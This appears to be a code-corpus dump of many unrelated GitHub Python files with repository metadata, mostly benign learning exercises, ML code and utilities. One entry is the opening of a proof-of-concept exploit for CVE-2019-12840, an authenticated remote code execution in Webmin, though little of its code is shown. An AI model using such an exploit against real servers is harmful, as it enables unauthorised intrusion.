5c8464e51d69da09736a517a3e40ed2e9e96a4a7 | 58ca7455374354cc7decac4ccb0af28dc2d42de2 | /regression_algorithms_from_scratch/Linear_regression_2/linear_regression_for_weather_prediction.py | afd7ff4b9ff0057a683131abb0d3e6fd0b419c11 | [] | no_license | Deepstatsanalysis/ML_algos_from_scratch | b97f793e69327f88e43809fb17ce3c06827c5f13 | a506fd5a234b753fbd90c71d49aab7012d8d31fc | refs/heads/master | 2022-07-14T21:44:32.552029 | 2020-05-19T03:18:51 | 2020-05-19T03:18:51 | 277,743,838 | 1 | 0 | null | 2020-07-07T07:10:56 | 2020-07-07T07:10:56 | null | UTF-8 | Python | false | false | 5,829 | py | linear_regression_for_weather_prediction.py | import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
import random
class Weather:
def train_test_split(self, dataframe,test_size):
dataframe_size=len(dataframe)
if isinstance(test_size,float):#if test size is passed as a proportion
test_size=round(test_size*da... |
870226079ac23c55be0ef2eac07d5fe43ea814ab | 28114d10c93c4fd1aa5405e0e0ffd9d4f3800f8f | /Exercise21_Write To A File Solutions.py | 7cfcce83952d395cd823cc87f6749db2ec4956ce | [] | no_license | symonsajib/PracticePython_P | aec3e9292bed2d5fc5b856403cdce43423f1682a | a9008d2a251429d80136ca2ddb6420e25f60c9e8 | refs/heads/master | 2020-09-11T21:25:43.806508 | 2019-11-24T02:22:51 | 2019-11-24T02:22:51 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 412 | py | Exercise21_Write To A File Solutions.py | from bs4 import BeautifulSoup
import requests
page = requests.get('https://www.nytimes.com/')
cont = page.content
soup = BeautifulSoup(cont, "html.parser")
for text in soup.find_all('p'):
print(text.get_text() + '\n')
n = 0
with open('hello.txt', 'w') as open_file:
for text in soup.find_all('... |
2a7014a3223f2a547588fcf2cabbe3dce2ad5013 | 0fd5793e78e39adbfe9dcd733ef5e42390b8cc9a | /python3/14_Code_Quality/04_unit_tests/d_using_nose2_module/b_Example/test_mymath.py | 41802725e4969bc921b200b4677e701681eb6c1f | [] | no_license | udhayprakash/PythonMaterial | 3ea282ceb4492d94d401e3bc8bad9bf6e9cfa156 | e72f44e147141ebc9bf9ec126b70a5fcdbfbd076 | refs/heads/develop | 2023-07-08T21:07:33.154577 | 2023-07-03T10:53:25 | 2023-07-03T10:53:25 | 73,196,374 | 8 | 5 | null | 2023-05-26T09:59:17 | 2016-11-08T14:55:51 | Jupyter Notebook | UTF-8 | Python | false | false | 686 | py | test_mymath.py | from mymath import add, divide
def test_add_integers():
assert add(5, 3) == 8
def test_add_integers_zero():
assert add(3, 0) == 3
def test_add_floats():
assert add(1.5, 2.5) == 4
def test_add_strings():
nose2.tools.assert_raises(AssertionError, add, "paul", "carol")
def test_divide_integers_ev... |
9c7dcae0c53801f8679a012b52ebd89f10648cb0 | 7cb44e7d4f260c1566088ba0e74c5eb84ab81bc1 | /SpiderGame_twoplayer.py | 4d1306b163109496b97d2761d6eb96be0502203b | [] | no_license | SkNuwanTissera/SpiderGame | 157b98b1ac539559ad6be556d39cf3eef64705a3 | 7493b783115b934c7de547c7ee808b942a0a0209 | refs/heads/master | 2022-04-03T19:37:49.239433 | 2020-01-30T16:15:33 | 2020-01-30T16:15:33 | 235,297,493 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,846 | py | SpiderGame_twoplayer.py | from random import randint
# need to show the progress of the spider through the game and add different players
def replacer(index, character, array):
array.pop(index)
array.insert(index, character)
return array
def welcomeMessage():
print("\n--------------------------------------------\n")
print(... |
43e7c178c44db46af02013270d0b47840e51e58c | f25341181d3fe55d4f7fc9b258b17e845d8170ad | /src/encryption.py | 24f8bfa0a98eaaf3657f2d9f7fbf4042dbeaa5a2 | [] | no_license | AlexOugh/aws-services-encryption | 2a5b11f1b6aed7aa628f84af61b9805ae307067f | f5b8bbdff2d73ec22f5a8074530a16d1819b2ac6 | refs/heads/master | 2021-01-11T18:59:56.867344 | 2017-01-18T00:37:10 | 2017-01-18T00:37:10 | 79,287,441 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,940 | py | encryption.py |
import boto3
from base64 import b64encode, b64decode
def lambda_handler(event, context):
print("stack_name: " + event['stack_name'])
# find stack template
stack_name = event['stack_name']
stack_response = boto3.client('cloudformation').get_template(
StackName=stack_name
)
# find secr... |
9a92b6f54f33d22915c705f9a701c8e8517de09d | b610fe0942f32a08b63a6098bcb3273c2f24db35 | /chapter_1.py | 372b7f574bf47c598da9da8776b608572a7d2aef | [] | no_license | thebooleanoperator/a_second_try | 56f81c9de7297eed3b791afd678964615bc71e13 | d2827f4b6404a783ed8765dca92eb3fec92c944d | refs/heads/master | 2020-04-18T05:08:54.810760 | 2019-03-08T00:37:38 | 2019-03-08T00:37:38 | 167,266,953 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,356 | py | chapter_1.py | import turtle
sven = turtle.Turtle()
# ole = turtle.Turtle()
#this makes a square of any size!
import math
# colors = ['blue', 'orange', 'yellow', 'purple', 'green']
# def any_square(turtle, size):
# for i in range(4):
# turtle.forward(size)
# turtle.right(90)
# def sqr_root_shape(turtle):
# ... |
a82cf5aea90faa5f665eeb5ef6be946729fd8394 | 7004b928e67593eaeb9fc9a1539f531e976eca23 | /uva_170.py | 676ba1e05b08127cfec67bf4331ad018384c249b | [] | no_license | chenhh/Uva | fe8742e4eeaaf639237b4114ed858c6d06186d58 | f187c045f47c80a6cbba40326c71f71e14f6e1b4 | refs/heads/master | 2021-01-09T20:53:30.512889 | 2016-07-29T12:24:12 | 2016-07-29T12:24:12 | 57,173,016 | 3 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,648 | py | uva_170.py | # -*- coding: utf-8 -*-
"""
Authors: Hung-Hsin Chen <chenhh@par.cse.nsysu.edu.tw>
License: GPL v2
status: AC
difficulty: 1
https://uva.onlinejudge.org/external/1/170.pdf
http://luckycat.kshs.kh.edu.tw/homework/q170.htm
the input of cards are from pile K, Q, J, T, ... to 1, and from top to bottom.
there are at least ... |
4d7a955b0822c5404c547b8df617c0819a7da152 | df94f543424f47f87bd6d546cca23d1c5a7b024c | /easy/easy1652.py | 80f8dd1e23f0109bb8df9e06c7902188dd9b3f12 | [] | no_license | wangpeibao/leetcode-python | c13cb63304e91dcd55ffacee541d9197cafd01ff | 392a272a799decdd77c2410a89787ea8e1aa76d3 | refs/heads/master | 2023-01-31T05:09:34.850459 | 2020-12-04T03:25:21 | 2020-12-04T03:25:21 | 257,457,585 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,461 | py | easy1652.py | """
1652. 拆炸弹
你有一个炸弹需要拆除，时间紧迫！你的情报员会给你一个长度为 n 的 循环 数组 code 以及一个密钥 k 。
为了获得正确的密码，你需要替换掉每一个数字。所有数字会 同时 被替换。
如果 k > 0 ，将第 i 个数字用 接下来 k 个数字之和替换。
如果 k < 0 ，将第 i 个数字用 之前 k 个数字之和替换。
如果 k == 0 ，将第 i 个数字用 0 替换。
由于 code 是循环的， code[n-1] 下一个元素是 code[0] ，且 code[0] 前一个元素是 code[n-1] 。
给你 循环 数组 code 和整数密钥 k ，请你返回解密后的结果来拆除炸弹！
示例 1：
输入... |
926060336a234bf6785c0bb65fdfc823e0a3e617 | f10656091e40f066ad82d95629558791960a6246 | /spiral_print.py | 0ff967c485f426e44cc889b547f05e309b2e0aa6 | [] | no_license | jainamshah95/CodeEval | 477e870fe4126eac57ee41489a51c5ccf5234606 | fd0c044cf7c96a42641a53864f9cd4f6e5a4a339 | refs/heads/master | 2021-05-29T03:26:19.995006 | 2013-03-29T08:19:57 | 2013-03-29T08:19:57 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,343 | py | spiral_print.py | '''
Author: Sheldon Logan
Spiral Printing
Description:
Write a program to print a 2D array (n x m) in spiral order (clockwise)
Input sample:
Your program should accept as its first argument a path to a filename.The input file contains several lines.
Each line is one test case. Each line contains three items (semic... |
033fc0ab7633788775f5278551ec6881e242f7b6 | 7354d82dd9f1e669e7488532c101e6b09d4c2340 | /CVE-2019-12840.py | cb29322d16810e2d92e515dd1c790c1741a5a0e8 | [] | no_license | WizzzStark/CVE-2019-12840.py | 8591237d428379681fd441b8fbc79e72ae157de2 | c8c7c7c73ca8a004b61ee2ea0c922ada16c2100d | refs/heads/main | 2023-08-13T04:14:32.940479 | 2021-10-05T18:12:19 | 2021-10-05T18:12:19 | 413,929,777 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,244 | py | CVE-2019-12840.py | #!/usr/bin/python3
"""
#####################################################
POC: CVE-2019-12840
Fake Shell in python3 (Authenticated RCE)
#####################################################
"""
import requests
import urllib3
import html
# Variables
webmin_url = "https://127.0.0.1/session_login.cgi"
package_ur... |
11fc02abe84e6686f88add15009adcbfb3399213 | 6905356eaeba9d1c61f7ea5c1ab9cde8741d5d93 | /v1/accounts/urls.py | f5eb20d15ec3e615b2543c751273ea4abd76644e | [
"MIT"
] | permissive | shahraizali/Validator | 3dd393c5e680c40358b7628f10765f1f1a0621bf | c569b10f3fe7fb2003a9cc8cb0d28404d51cf10e | refs/heads/master | 2022-12-02T23:31:41.412682 | 2020-07-26T01:05:50 | 2020-07-26T01:05:50 | 282,784,499 | 1 | 0 | MIT | 2020-07-27T03:25:12 | 2020-07-27T03:25:11 | null | UTF-8 | Python | false | false | 477 | py | urls.py | from django.urls import path
from .views.account import AccountView
from .views.account_balance import account_balance_view
from .views.account_balance_lock import account_balance_lock_view
urlpatterns = [
# Accounts
path('accounts', AccountView.as_view()),
# Account balance
path('account_balance/<s... |
bb62d4ef97a834b1ffe67602fe82f04b3261b661 | db91e95d2c6172531cfdef52c06882159c6c23af | /intermediatepython/strings.py | f685d069874ba861311a1351effad01ff3059d3d | [] | no_license | ammieakash/college-projects | e5fc80cadc5a5264834a185f5895325814312dab | d1e78631b12f6afc1d62b140eb42d83350a5f65a | refs/heads/master | 2020-04-02T04:01:08.198662 | 2018-05-27T12:03:05 | 2018-05-27T12:03:05 | 153,995,662 | 0 | 0 | null | 2018-10-21T10:19:32 | 2018-10-21T10:19:32 | null | UTF-8 | Python | false | false | 552 | py | strings.py | names = ['akash', 'kanika','mahesh','malti']
for name in names :
statement = 'Hello there '+name
print(statement)
for name in names :
statement = ' '.join(['Hello there',name])
print(statement)
print(', '.join(names))
# double back-slash for window's nonsense.
location_of_files = 'C:\\Us... |
a0a88092bf03d8db3f7cc2077c0d1074da38c3ba | cb9fd5684edd2f5333327617a8f30ebd55207a0b | /Backend/WaitList.py | 733737fbaadf9ea704c86008c797b5941e7020f1 | [] | no_license | DPeng-UNSW/GraphAbility-OrganExchange | 55765e08bea37e645063f0218cb975ed552513ce | 8d3d80cbce42373b3bf803f61c736522eba358dc | refs/heads/master | 2023-04-25T07:04:00.376789 | 2021-05-14T10:22:58 | 2021-05-14T10:22:58 | 359,349,546 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,817 | py | WaitList.py | import json
from helper import file_check, random_recipient
class WaitList:
def __init__(self, name="temp"):
self.name = name
if name != "temp":
if file_check(f"{name}_waitlist"):
with open(f"{name}_waitlist.json", 'r') as Json_waitlist:
data = json.l... |
9b9a9054d6f7713564bd22f249e18647abc7164f | 0363d5e7b695b6f248e9845a8ee08a8d0a926efb | /cloudprober/grpc_gcp_prober/versions.py | cad1818d3242b33e885309feb138f0608365c2a1 | [
"Apache-2.0"
] | permissive | lauro-cesar/grpc-gcp-python | edee67e0e9937598b8e6414a0f0217232d7acbbd | bcad7ddf02340a210b50061e91aca04622234b46 | refs/heads/master | 2020-04-24T17:36:20.992058 | 2019-01-12T00:59:37 | 2019-01-12T00:59:37 | 172,153,499 | 1 | 0 | null | 2019-02-23T00:39:49 | 2019-02-23T00:39:49 | null | UTF-8 | Python | false | false | 83 | py | versions.py | """This is a template file for holding version numbers."""
GRPC_VERSION = '1.11.0'
|
47ff439493c99fb093d81b1e4b6d514ee365981c | 0063535b38f105ebf28bc1cc08f08a1e34a33443 | /model/Spectrogram/main.py | b24c6e66da81d86e5abfb457de31c6890211e945 | [] | no_license | j02004080/VoiceConversion | 7c6d4695cc0ab511f0b975636fc09ad43175ec87 | 7b6876f8c0b3ceb1c06846e86c62b31589ba9096 | refs/heads/master | 2020-03-16T07:41:41.032387 | 2018-06-17T09:38:35 | 2018-06-17T09:38:35 | 132,581,436 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,277 | py | main.py | import tensorflow as tf
from model_VAE import VAE
from speakerReg import speakerReg
from util import (nextbatch, pickOne)
import scipy
import numpy as np
import time
featureSize = 513
NumOfspeaker = 10
latentSize = 64
TrainDataPath = '../../vcc2016/spectrogram/Train/'
TestDataPath = '../../vcc2016/spectrogram/Test/'
... |
4c4a420ad4e5232107ae58bf190dc2d745cc32cc | cc2a68e01a2a6a267fe6d2a656d93ccb4c4bae2d | /DropdownMenuStringsGerman.py | 6dd6ed11aa0f171e31f08de8ceefbe70305f59a8 | [] | no_license | TauOmicronMu/Y13Computing | 760c16b9d8e797c6d5a0e66c077a816a76a186dc | e41cd88da34bcb38385cd2b9cb60270c0abc3346 | refs/heads/master | 2021-01-22T11:37:03.045014 | 2016-01-10T23:35:51 | 2016-01-10T23:35:51 | 23,667,185 | 0 | 0 | null | 2014-09-19T20:31:52 | 2014-09-04T15:06:00 | Python | UTF-8 | Python | false | false | 237 | py | DropdownMenuStringsGerman.py | # -*- coding: utf-8 -*-
#Dropdown Menus
DROPDOWN_BACK_TEXT = u"Zurück"
DROPDOWN_FILE_TEXT = u"Datei"
DROPDOWN_HELP_TEXT = u"Hilfe"
DROPDOWN_LOGOUT_TEXT = u"Abmelden"
DROPDOWN_QUIT_TEXT = u"Verlassen"
DROPDOWN_STATS_TEXT = u"Statistik"
|
4ffebece4f6b5419de2d62e305d9e629d1caae9f | 79bf193eab1d24960c2e01fabe7358cc0e2ede69 | /1990.py | 7b115327398a18c7120930cc25f3c968125a4ac1 | [] | no_license | dmswl0311/Codeup | 9c63a42ccb0178d72d2b9c945ff5e1a61548739e | daf1dec2324d7b994486be35fcebc8485d588685 | refs/heads/master | 2023-06-22T08:22:15.135840 | 2021-07-18T13:33:09 | 2021-07-18T13:33:09 | 325,252,767 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 73 | py | 1990.py | n = int(input())
if (n % 3 == 0):
print(1)
else:
print(0)
|
676c5ffeb486b483396e4ddf89a19dccc20559eb | 1149d92bc983a15ccb6088d360a236a9cf5bc353 | /Fesianov_Ihor/week_2/myfunc.py | c42eac24eff7e79d8d07ec0aeb92994d987f3d83 | [] | no_license | teodorklaus/PythonSamurai | 0c452b505f5767fff081b10510bef940bef7bfd9 | 553924f3ff9c94af16152f7d74479e6398c1c112 | refs/heads/master | 2021-01-11T22:27:50.149459 | 2017-02-20T19:24:07 | 2017-02-20T19:24:07 | 78,965,712 | 0 | 1 | null | 2017-03-20T19:04:18 | 2017-01-14T20:47:26 | Python | UTF-8 | Python | false | false | 496 | py | myfunc.py | __author__ = 'Ihor'
from hw_4_1 import list_min_max, input_list
from hw_4_2 import arithmetic_mean
from hw_4_3 import replace_max_min
from hw_4_5 import gererate_random_list, counter
from hw_4_6 import bigger_lists_half
from hw_4_7 import sum_list
from hw_4_8 import generate_specific_random_list
from hw_4_9 import cou... |
c82ca600b6439e7ef487d13e65ccdb301ac73e09 | 292c14ebaf5d87714be61271402dfedfc790d92b | /lesson02/home_work/hw02_hard.py | 4eba462fa855ba82f6b18f312be432b2de452dfd | [] | no_license | brass-mf/Python_lessons_basic | e6afe17cfa487c2199f065363c53dd769a857c1d | 8594bb23986982a52b07306b301906c48270d944 | refs/heads/master | 2020-07-06T01:00:42.059307 | 2019-09-09T06:11:52 | 2019-09-09T06:11:52 | 202,839,506 | 0 | 0 | null | 2019-08-17T05:25:59 | 2019-08-17T05:25:59 | null | UTF-8 | Python | false | false | 3,522 | py | hw02_hard.py | __author__ = 'Афонин Сергей Сергеевич'
# Задание-1: уравнение прямой вида y = kx + b задано в виде строки.
# Определить координату y точки с заданной координатой x.
equation = 'y = -12x + 11111140.2121'
x = 2.5
# вычислите и выведите y
list_equation = equation.split()
b = float(list_equation[4])
k = float(list_equat... |
1e0939e1f6b5ee36b325f274ebdd648ef919ccb0 | 8ace9fe2bc738280b40c2f4e6bce628536ddffba | /cripy/protocol/deviceorientation.py | 532a0e88e4f62ca63f1c273bfde58a30a3a7c4a3 | [
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | N0taN3rd/chrome-remote-interface-py | faf100662d8ea569dfd320adcf4d8f63bab8e5b3 | 49a77349fc5712508e5071d69dfcc9e94f36bfe8 | refs/heads/master | 2021-06-27T07:15:11.764207 | 2020-10-31T19:41:48 | 2020-10-31T19:41:48 | 135,003,214 | 5 | 4 | Apache-2.0 | 2020-10-31T19:41:49 | 2018-05-27T00:09:23 | Python | UTF-8 | Python | false | false | 1,826 | py | deviceorientation.py | """This is an auto-generated file. Modify at your own risk"""
from typing import Awaitable, Any, Dict, List, Optional, Union, TYPE_CHECKING
if TYPE_CHECKING:
from cripy import ConnectionType, SessionType
__all__ = ["DeviceOrientation"]
class DeviceOrientation:
"""
Status: Experimental
See `htt... |
8a04a7ec0406e3a494f65061ba2cf6dbea995265 | 7875c1d425df1adfb9382a1b4ec428eb58407a3d | /300-post-model-analyses/role_classification/generate_train_test.py | b5906a035b1587835c6cb963bb6200e44f198815 | [] | no_license | clarkest/ibm-topic-models | 114e6f7b3501c6d2cd8885c53f18b72bf91bfd66 | 7305fc2109a8157ae9e18c34703354f211c2effb | refs/heads/master | 2021-01-17T00:33:31.777805 | 2018-06-19T15:02:48 | 2018-06-19T15:02:48 | 39,034,303 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 632 | py | generate_train_test.py | import os, random
os.chdir("/Users/clarkbernier/Dropbox/IBM Local/ibm-topic-model/300-post-model-analyses/role_classification")
with open('biz_units_jobs.tsv','r') as tsv, \
open('biz_units_jobs.train','w') as train, \
open('biz_units_jobs.test','w') as test:
for line in tsv:
# replace some of the crap tit... |
1054c0f9607c29f0d62e88b889f0977114eb623f | 2413f484ce6ca5d1f0a6bbab587282cffe493327 | /fich05/test.py | 446c653a1cf937819c3b16c6071ccc4ea97b1380 | [] | no_license | TsundereGamer/AED | 26644cd60fc4456377203d3f15224f20deb90f35 | e31b878a896e1441061b1747b431b545f5ec7d33 | refs/heads/master | 2020-05-07T18:06:00.177610 | 2019-07-08T20:45:20 | 2019-07-08T20:45:20 | 180,754,268 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 261 | py | test.py | from fich05.linkedList import LinkedList
my_list = LinkedList()
my_list.add(17)
my_list.add(93)
my_list.add(26)
my_list.add(54)
my_list.add(17)
my_list.remove(5)
my_list.remove(17)
print("A minha lista: ", my_list)
print("Tamanho da lista: ", my_list.size())
|
ac5c74a6159e4a21b7f7d27bda073e92518c01a9 | dbe03f5ff11ccb28bf19eef7a374042539b34305 | /chkcsvr.py | d50cce89edc854c68dd818be2c319483e1e55fc1 | [] | no_license | jiangnansam/CserverToolsSuite | f81924be365c02e91f145e29a8e44544cd852208 | 5ff8e9a8c87acbbddcb327d25ff33f5359a59245 | refs/heads/master | 2021-01-01T15:40:18.762785 | 2013-07-11T06:22:28 | 2013-07-11T06:22:28 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,679 | py | chkcsvr.py | '''
Created on 2012-9-10
@author: Attis Wong
'''
import os
'''
How to run the script: run 'python chkcsvr.py' in command window.
How to add check item for check:
1)new a CheckItem with desc, ref, checker, value(optional) parameter.
2)choose a checker implementation, if not exist just implement yourself.
... |
a112a855a051585cb2f25d89b95ce0596050653f | c6c87b3443d4511d653daf2418a26af8f4a6b2ae | /HelpMeTrack/Background/GetIssueThread.py | fd4c4f194de22532cc8a70846ee978fe0492f79e | [] | no_license | mohitt/redmine-timetracker | 9d4d63ad32ede82540c6a23e424f3bef1ab1df5d | e0f2959d993bc60461534051126e5bc123cb158f | refs/heads/master | 2021-06-22T15:48:23.999413 | 2016-02-15T14:01:57 | 2016-02-15T14:01:57 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 464 | py | GetIssueThread.py | from PySide import QtCore
class GetIssueThread(QtCore.QThread):
issueFound = QtCore.Signal(list)
def __init__(self, redmineClient, issueId, parent=None):
super(GetIssueThread, self).__init__(parent)
self.exiting = False
self.redmineClient = redmineClient
self.issueId = issueId... |
a9ff15bd23e097a7237a1bee62f940a4153a7fc2 | d046f103973681dcb895d5ea60ff4c5090ff2e24 | /Submission/visual_rama.py | 14e5367e67b7c332d5909b09f8730f2a25c50923 | [] | no_license | BobbyPhysics/final-rendezvous-with-ramageddon | 6d1dd66686217436b3002427646ff17cf4733930 | 58e23b40c3d058431304337c9a81351e87366843 | refs/heads/master | 2020-05-29T12:27:37.075219 | 2016-05-04T18:08:02 | 2016-05-04T18:08:02 | 58,096,680 | 2 | 0 | null | 2016-05-05T01:58:27 | 2016-05-05T01:58:27 | null | UTF-8 | Python | false | false | 1,801 | py | visual_rama.py | import getcoordinates
import rama
from visual import *
import numpy as np
# based on getcoordinates
tmax = 1 #units of years
dt = 0.001 #units of years
t = np.linspace(0, tmax, int(tmax/dt))
r, v = getcoordinates.get_perifocal()
er, ev = getcoordinates.get_heliocentric(r, v)
rama_r =[[-2.0002,1.99998,.19994]]
rama_v... |
391bc63355a64fe226c0559f59b9a8a2d546cdbc | daf03dfc808485b835d90f214001f705087a785b | /linter.py | da90e5d2cd8269f5eba5d33c04f9f74a1abb65b9 | [
"MIT"
] | permissive | SublimeLinter/SublimeLinter-govet | 58f6fc501c54d3208010c101e7f907b9b64ecbeb | 0a0e56ae171fffd6e851757dea264466048db45c | refs/heads/master | 2021-10-19T08:45:49.765263 | 2019-02-19T18:43:23 | 2019-02-19T18:43:23 | 16,057,982 | 6 | 6 | MIT | 2019-02-19T18:43:25 | 2014-01-20T01:07:05 | Python | UTF-8 | Python | false | false | 846 | py | linter.py | from os import path
from SublimeLinter.lint import Linter, util
class Govet(Linter):
cmd = ('go', 'vet', '${file_path}')
regex = r'(?P<file_path>^.+?):(?P<line>\d+):((?P<col>\d+):)?\s+(?P<message>(.|\n\t)+)'
tempfile_suffix = '-'
multiline = True
error_stream = util.STREAM_STDERR
defaults = ... |
4dc10a3bc397ce7ed0c25acbf334ad5e4d6e6168 | 8ec32ffe90e29ba8eadd213ef29c7288e675522f | /smfishHmrf/visualize.py | 51a3cfab71dab3fdadbb118d98506f4302eb2b31 | [] | no_license | haotianteng/smfishhmrf-r | 194d13a45c0856a593a8e740c2cbb8fc89006260 | 95444340c9d8b3aa8c938b748e16ce35d697cb37 | refs/heads/master | 2022-12-17T02:00:24.792254 | 2020-09-23T08:23:05 | 2020-09-23T08:23:05 | 297,900,232 | 0 | 0 | null | 2020-09-23T08:15:00 | 2020-09-23T08:14:59 | null | UTF-8 | Python | false | false | 10,610 | py | visualize.py | import matplotlib as mpl
import matplotlib.pyplot as plt
import scipy
import scipy.stats
import sys
import re
import os
import numpy as np
import math
import pandas as pd
import seaborn as sns
from operator import itemgetter
from scipy.spatial.distance import squareform, pdist
from scipy.stats import percentileofscore
... |
bcaf0048e5c7d9f992aa434f52861e6effb7a356 | ada8cddcfe28922af8a71f7cdacdb5b0a9a8c3d2 | /SQL_script/data_operate.py | 518d50e537ef499373cb28e47d44232ad4529b1d | [] | no_license | 0xqq/OfficerResume_RelationshipAlgorithm | 3ef48adeb94156b6500d56dafd16d2dcbb75f8cd | 488a6144b22d02b183ae431c029b87476b0d3547 | refs/heads/master | 2020-05-22T15:38:54.564700 | 2018-04-17T01:22:31 | 2018-04-17T01:22:31 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,963 | py | data_operate.py | import time
from SQL_script.officer_process import Con_MySQL, Con_PostgreSQL, Con_Neo4j
def time_now(type_int=0):
"""
函数功能：将当前时间调整为特定格式。
时间格式统一为‘1995-4-16’。
:param type_int: 时间类型，0：'1995-4-16'，1：'Sun Apr 16 6:6:6 1995'
:return: 请求的格式化时间
"""
if type_int == 0:
return str(time.localt... |
fbf4fbcc382ed3583df1bf495f6880bb2a5073cb | 17e99d00df095fea527a2b17b2cd96efc9edd8b0 | /train_ivp.py | 7ea0a69c145ed38e933fac2695d5d6860c741584 | [
"Apache-2.0"
] | permissive | michellesima/transformers | 8de66241a8e007acd0e4f2b7a67a4071fb4935a8 | 327b32277d882e13b104dd8502a83a8668ea84e9 | refs/heads/master | 2020-08-28T19:49:20.862418 | 2020-04-11T04:34:42 | 2020-04-11T04:34:42 | 217,804,028 | 1 | 0 | Apache-2.0 | 2019-10-27T04:17:50 | 2019-10-27T04:17:49 | null | UTF-8 | Python | false | false | 2,081 | py | train_ivp.py | import torch
from transformers import *
import pandas as pd
from utils import *
from utils_ivp import *
from torch.utils import data
from torch.nn import CrossEntropyLoss
import os
from torchsummary import summary
import torch.optim as optim
import sys
random_seed = 7
max_sen_len = 64
batchsize = 4
numepoch = 1
def p... |
1d1780f87a41b14fb33500dc5423b0485345e5ec | 713bf45aedeec3492b75d39f440bfb150aa88a7f | /app/SampleEnum.py | 3059a7b86ceee84f0f02a306954c30644d407550 | [] | no_license | SampleUser0001/Enum_inPython | 8a4fe4032efbf0c94ecf8230befbdb9903ac3059 | f52f16cf74cb50acdaeb0831ef8092a5888c1a71 | refs/heads/main | 2023-06-15T23:59:51.614164 | 2021-07-04T04:12:14 | 2021-07-04T04:12:14 | 366,052,291 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 561 | py | SampleEnum.py | # -*- coding: utf-8 -*-
from enum import Enum
class SampleEnum(Enum):
HOGE = ("HOGE",{
"key":"hoge",
"hoge":"hogehoge"
})
PIYO = ("PIYO",{
"key":"piyo",
"piyo":"piyopiyo"
})
def __init__(self, id, keys):
self.id = id
self.keys = keys
# 変数名にvalueは使えない。
def getId(self):
... |
5d8ea4f57951c943bc3d21ce454fd3258d1a5619 | 973dcc4a17c3a34f72c1991967fedd3be7c7e0d6 | /new_user/__init__.py | 32c45b6fe36bcb780e72e060bb8930cade157c0d | [] | no_license | vlad13zp/user_model | fa2c05a883001f71827cd03b8277d1726b891c89 | 770f018d4129b3ee27ebccd103adbc1ffc07190e | refs/heads/master | 2021-01-19T04:55:51.544539 | 2015-06-08T05:52:02 | 2015-06-08T05:52:02 | 36,970,944 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 51 | py | __init__.py | default_app_config = 'new_user.apps.NewUserConfig'
|
aa3178a32fc13cfe0f5aa52873ba8023da291a5e | 6ea7158f4985f47528d86a456fd2928aecfe009b | /ptlflow/data/datasets.py | 6d36fbc19837ac5aa61b0a3c66fa5651b2fb204f | [
"Apache-2.0",
"CC-BY-NC-SA-4.0"
] | permissive | hmorimitsu/ptlflow | e318f23ac93eb115e249be212c7353ed51b1396f | d6582a0fd386517fdefbe2c347cef53150b5b1da | refs/heads/main | 2023-05-14T07:04:29.196743 | 2023-05-06T08:36:33 | 2023-05-06T08:36:33 | 375,416,785 | 140 | 14 | Apache-2.0 | 2023-05-06T08:36:34 | 2021-06-09T16:12:33 | Python | UTF-8 | Python | false | false | 52,632 | py | datasets.py | """Handle common datasets used in optical flow estimation."""
# =============================================================================
# Copyright 2021 Henrique Morimitsu
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You ... |
20c6a86ec3620be8ebf2d955be60ba0a50b29189 | 28a462a28f443c285ca5efec181ebe36b147c167 | /tests/compile/basic/recent/ToBigInt64.spec | dbf1c4a70aed095c4c5f11bc06be202042d87374 | [
"BSD-3-Clause",
"BSD-2-Clause"
] | permissive | kaist-plrg/jstar | 63e71f9156860dc21cccc33a9f6c638dfee448ea | 1282919127ea18a7e40c7a55e63a1ddaaf7d9db4 | refs/heads/main | 2022-07-22T08:12:34.947712 | 2022-02-27T04:19:33 | 2022-02-27T11:06:14 | 384,045,526 | 6 | 4 | NOASSERTION | 2022-02-27T11:05:26 | 2021-07-08T07:53:21 | Python | UTF-8 | Python | false | false | 226 | spec | ToBigInt64.spec | 1. Let _n_ be ? ToBigInt(_argument_).
1. Let _int64bit_ be ℝ(_n_) modulo 2<sup>64</sup>.
1. If _int64bit_ ≥ 2<sup>63</sup>, return ℤ(_int64bit_ - 2<sup>64</sup>); otherwise return ℤ(_int64bit_). |
dfde332b7bea1d00c745ac91f324033ee5c05f6a | 20775e72946453964380a8a306b6d854e46acf65 | /countArrangement.py | ec361052c0d44b4c809c86673df0402f4dc01604 | [] | no_license | candyer/leetcode | c3a0d710854f3a845c14b0501ef91041d19b2fd0 | 35bb20951ee746bae6a36067ad0b0edbceb3aff4 | refs/heads/master | 2022-05-19T14:39:14.698905 | 2022-03-13T22:40:59 | 2022-03-13T22:40:59 | 56,853,612 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,769 | py | countArrangement.py | # https://leetcode.com/problems/beautiful-arrangement/description/
# 526. Beautiful Arrangement
# Suppose you have N integers from 1 to N. We define a beautiful arrangement as an array that is constructed
# by these N numbers successfully if one of the following is true for the ith position (1 <= i <= N) in this arr... |
881ffaf37659428c9ebf848c3339e7924f521dc2 | 7ac5d85f4f435485250aeec0626c09894203a181 | /shufflealgos/shuffstrategy/shuffleStrategy.py | c9eeebd67080e3b1c3b7476cc7d6713b5a9f8a83 | [
"MIT"
